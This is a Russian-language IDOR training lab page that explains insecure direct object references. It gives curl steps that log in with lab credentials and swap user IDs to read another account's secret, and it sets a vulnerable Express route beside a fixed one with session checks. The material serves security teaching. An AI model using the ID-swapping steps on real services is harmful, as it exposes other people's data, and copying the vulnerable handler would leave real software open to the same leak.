Rostelecom Security Labs

IDOR тренажёр

Освой обход контроля доступа: логинись под одним аккаунтом, а затем похищай чужие досье, меняя идентификатор в запросе.

📚 Теория: IDOR (раскрыть)

Что такое IDOR?

Insecure Direct Object Reference — когда приложение отдаёт данные по идентификатору, но не проверяет, принадлежит ли объект текущему пользователю.

⚠️ Достаточно догадаться чужой ID, чтобы вытащить профили, файлы или заказы.

Почему это опасно?

Сессия валидна, значит ACL должен фильтровать объекты. Без проверки злоумышленник скачивает базы клиентов, чек-листы, отчёты.

🛡️ Проверяйте права на объект и используйте суррогатные идентификаторы.

1. Разведка

Авторизуемся и смотрим свой профиль: видим поле id и секрет.

2. Подмена ID

Меняем /api/users/1 на /api/users/2 — сервер по-прежнему отвечает 200 OK.

3. Компрометация

Хватаем чужой секрет, собираем отчёт и готовим фикc контроля доступа.

Как собрать защиту: храните в сессии идентификатор пользователя/роли и сравнивайте его с запрошенным объектом, используйте репозитории со скрытыми UUID, покрывайте эндпоинты тестами на чужой доступ.

Брифинг

Эндпоинт /api/users/:id не проверяет, кто запрашивает досье. Твоя миссия — показать, как это приводит к утечке.

Подсказки (curl)

Разведка — проверяем, что сервис жив
curl -i https://rtlabs.su/
Шаг 1 — логин и сохранение cookie
curl -c cookie.txt \
  -H "Content-Type: application/json" \
  -d '{"username":"alice","password":"wonderland"}' \
  https://rtlabs.su/auth/login
Шаг 2 — собственное досье
curl -b cookie.txt https://rtlabs.su/api/users/1
Шаг 3 — чужое досье (IDOR)
curl -b cookie.txt https://rtlabs.su/api/users/2

Ответ с ID 2 (Боб) вернёт чужой секрет. Это и есть утечка. Попробуй ID 3, чтобы закрепить результат.

Как починить

Сравни, как выглядит дырявый обработчик и что нужно добавить, чтобы он выдавал только твой профиль. Тебе важно поймать момент, где теряется проверка сессии.

Уязвимый код

Маршрут возвращает любой профиль, если знаешь его ID. Сессия никак не учитывается — поэтому чужие секреты оказываются в твоих руках.

app.get('/api/users/:id', (req, res) => {
  const requestedId = Number(req.params.id);
  const user = users.find((u) => u.id === requestedId);

  if (!user) {
    return res.status(404).json({ error: 'пользователь не найден' });
  }

  // ❌ Сессия игнорируется — можно запрашивать чужие ID
  return res.json({
    id: user.id,
    displayName: user.displayName,
    role: user.role,
    secret: user.secret
  });
});

Исправленный вариант

Добавь проверку сессии: пользователь может читать только свой ID. Остальные запросы должны получать 401 или 403.

app.get('/api/secure/users/:id', (req, res) => {
  const requestedId = Number(req.params.id);
  const loggedInId = req.session.userId;

  // ✅ Без сессии — нет доступа
  if (!loggedInId) {
    return res.status(401).json({ error: 'нужна аутентификация' });
  }

  // ✅ Чужие ID блокируются
  if (requestedId !== loggedInId) {
    return res.status(403).json({ error: 'доступ запрещён' });
  }

  const user = users.find((u) => u.id === requestedId);
  if (!user) {
    return res.status(404).json({ error: 'пользователь не найден' });
  }

  return res.json({
    id: user.id,
    displayName: user.displayName,
    role: user.role,
    secret: user.secret
  });
});

Проверь себя: ID 1 должен работать только с cookie Алисы, а попытка запросить ID 2 вернуть 403. Не забудь добавить тесты на оба сценария.

Проверка флага

В нужном профиле лежит флаг формата FLAG{...}. Введи его ниже — так дашборд поймёт, что лаборатория закрыта.

Мониторинг сессии

Ожидание запроса к /session…